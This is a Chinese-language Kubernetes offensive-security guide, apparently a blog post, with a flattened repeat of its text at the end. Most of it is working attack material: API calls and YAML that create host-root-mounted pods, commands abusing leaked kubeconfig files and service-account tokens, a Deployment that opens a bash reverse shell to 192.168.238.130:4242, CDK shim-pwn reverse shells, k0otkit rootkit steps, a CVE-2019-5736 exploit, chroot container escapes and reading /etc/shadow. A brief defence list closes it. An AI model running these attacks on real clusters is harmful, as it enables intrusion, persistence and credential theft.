云原生之Kubernetes安全
字数 1377 2025-08-07 08:22:05

Kubernetes安全攻防指南

初始访问

API Server未授权访问

API Server作为K8s集群的管理入口,通常使用8080和6443端口:

  • 8080端口:无需认证
  • 6443端口:需要认证且有TLS保护

攻击场景

  1. 开发者使用8080端口并暴露在公网
  2. 运维配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组

利用方法

# 查看pods
https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500

# 创建特权容器
POST https://192.168.4.110:6443/api/v1/namespaces/default/pods
{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "test-4444",
    "namespace": "default"
  },
  "spec": {
    "containers": [{
      "image": "nginx:1.14.2",
      "name": "test-4444",
      "volumeMounts": [{
        "mountPath": "/host",
        "name": "host"
      }]
    }],
    "volumes": [{
      "hostPath": {
        "path": "/",
        "type": "Directory"
      },
      "name": "host"
    }]
  }
}

# 执行命令
https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami

K8s configfile泄露

kubeconfig文件包含集群管理凭证,可能通过以下途径泄露:

  • 办公网员工机器入侵
  • Github代码泄露

利用流程

  1. 获取kubeconfig文件
  2. 创建后门Pod并挂载主机路径
  3. 通过kubectl进入容器
  4. 利用挂载目录逃逸

具体操作

# Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

# 使用泄露的config文件
kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}"

# 创建特权Pod
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

# 创建并进入Pod
kubectl apply -f pod.yaml -n default --insecure-skip-tls-verify=true
kubectl exec -it test-444 bash -n default --insecure-skip-tls-verify=true

# 逃逸到宿主机
cd /host
chroot ./ bash

Docker Daemon公网暴露

Docker默认监听unix socket,2375端口用于未认证HTTP通信,2376用于可信HTTPS通信。

检测与利用

# 探测未授权访问
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.238.129:2375 info

# 设置环境变量
export DOCKER_HOST="tcp://192.168.238.129:2375"

利用Service Account

Pod中默认携带Service Account认证凭据,路径为:
/run/secrets/kubernetes.io/serviceaccount/token

利用方法

# 设置环境变量
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt

# 查看所有Namespaces
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces

# 创建特权Pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k ${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml

持久化

DaemonSets/Deployments持久化

Deployment示例

apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 3
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: nginx
        image: nginx:1.7.9
        imagePullPolicy: IfNotPresent
        command: ["bash"]
        args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

Shadow API Server

部署Shadow API Server

# 一键部署
./cdk run k8s-shadow-apiserver default

# 访问Shadow API
./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets

Rootkit (k0otkit)

使用步骤

  1. 生成k0otkit:./pre_exp.sh
  2. 监听:./handle_multi_reverse_shell.sh
  3. 在master节点执行k0otkit.sh

CronJob持久化

示例

apiVersion: batch/v1
kind: CronJob
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: busybox
            imagePullPolicy: IfNotPresent
            command:
            - /bin/sh
            - -c
            - # 反弹Shell或者木马
          restartPolicy: OnFailure

权限提升

特权容器逃逸

利用方法

# 查看磁盘
fdisk -l

# 挂载并逃逸
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash

Docker漏洞利用

CVE-2020-15257

# 检测是否使用host模式
cat /proc/net/unix | grep 'containerd-shim'

# 反弹shell
./cdk_linux_386 run shim-pwn reverse 192.168.238.159 4455

CVE-2019-5736

  1. 影响版本:
    • docker version <=18.09.2
    • RunC version <=1.0-rc6
  2. 利用方法:
    # 编译POC
    CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
    
    # 上传并执行
    docker cp main name:/home
    cd /home/
    chmod 777 main
    ./main
    

Capabilities逃逸

检测方法

cat /proc/self/status | grep CapEff
capsh --print

探测与横向移动

内网扫描

Kubernetes网络中的通信类型:

  1. 同一Pod内的容器间通信
  2. 各Pod彼此间通信
  3. Pod与Service间的通信
  4. 集群外部流量与Service间的通信

K8s常用端口

  • API Server: 6443, 8080
  • kubelet: 10250, 10255
  • etcd: 2379, 2380
  • kube-scheduler: 10251
  • kube-controller-manager: 10252

污点(Taint)横向渗透

利用方法

apiVersion: v1
kind: Pod
metadata:
  name: control-master-15
spec:
  tolerations:
  - key: node.kubernetes.io/unschedulable
    operator: Exists
    effect: NoSchedule
  containers:
  - name: control-master-15
    image: ubuntu:18.04
    command: ["/bin/sleep", "3650d"]
    volumeMounts:
    - name: master
      mountPath: /master
  volumes:
  - name: master
    hostPath:
      path: /
      type: Directory

获取Master控制

kubectl exec control-master-15 -it bash
chroot /master bash
cat /etc/shadow

结论与防御建议

  1. 当前威胁态势

    • 黑产团伙通过批量扫描利用未授权进行挖矿
    • 云原生攻击武器发展使攻击门槛降低
    • 虚拟机/容器逃逸攻击、供应链攻击快速增长
  2. 防御建议

    • 禁用API Server未授权访问
    • 实施严格的RBAC策略
    • 定期审计kubeconfig文件权限
    • 限制Docker Daemon的访问
    • 及时更新Kubernetes和Docker版本
    • 监控异常Pod创建和API调用
    • 实施网络隔离策略
  3. 私有云特别注意事项

    • 确保云底座网络与业务网络有效隔离
    • 审计第三方组件的安全性
    • 定制开发部分需特别关注安全配置
Kubernetes安全攻防指南 初始访问 API Server未授权访问 API Server作为K8s集群的管理入口,通常使用8080和6443端口: 8080端口:无需认证 6443端口:需要认证且有TLS保护 攻击场景 : 开发者使用8080端口并暴露在公网 运维配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组 利用方法 : K8s configfile泄露 kubeconfig文件包含集群管理凭证,可能通过以下途径泄露: 办公网员工机器入侵 Github代码泄露 利用流程 : 获取kubeconfig文件 创建后门Pod并挂载主机路径 通过kubectl进入容器 利用挂载目录逃逸 具体操作 : Docker Daemon公网暴露 Docker默认监听unix socket,2375端口用于未认证HTTP通信,2376用于可信HTTPS通信。 检测与利用 : 利用Service Account Pod中默认携带Service Account认证凭据,路径为: /run/secrets/kubernetes.io/serviceaccount/token 利用方法 : 持久化 DaemonSets/Deployments持久化 Deployment示例 : Shadow API Server 部署Shadow API Server : Rootkit (k0otkit) 使用步骤 : 生成k0otkit: ./pre_exp.sh 监听: ./handle_multi_reverse_shell.sh 在master节点执行k0otkit.sh CronJob持久化 示例 : 权限提升 特权容器逃逸 利用方法 : Docker漏洞利用 CVE-2020-15257 : CVE-2019-5736 : 影响版本: docker version <=18.09.2 RunC version <=1.0-rc6 利用方法: Capabilities逃逸 检测方法 : 探测与横向移动 内网扫描 Kubernetes网络中的通信类型: 同一Pod内的容器间通信 各Pod彼此间通信 Pod与Service间的通信 集群外部流量与Service间的通信 K8s常用端口 API Server: 6443, 8080 kubelet: 10250, 10255 etcd: 2379, 2380 kube-scheduler: 10251 kube-controller-manager: 10252 污点(Taint)横向渗透 利用方法 : 获取Master控制 : 结论与防御建议 当前威胁态势 : 黑产团伙通过批量扫描利用未授权进行挖矿 云原生攻击武器发展使攻击门槛降低 虚拟机/容器逃逸攻击、供应链攻击快速增长 防御建议 : 禁用API Server未授权访问 实施严格的RBAC策略 定期审计kubeconfig文件权限 限制Docker Daemon的访问 及时更新Kubernetes和Docker版本 监控异常Pod创建和API调用 实施网络隔离策略 私有云特别注意事项 : 确保云底座网络与业务网络有效隔离 审计第三方组件的安全性 定制开发部分需特别关注安全配置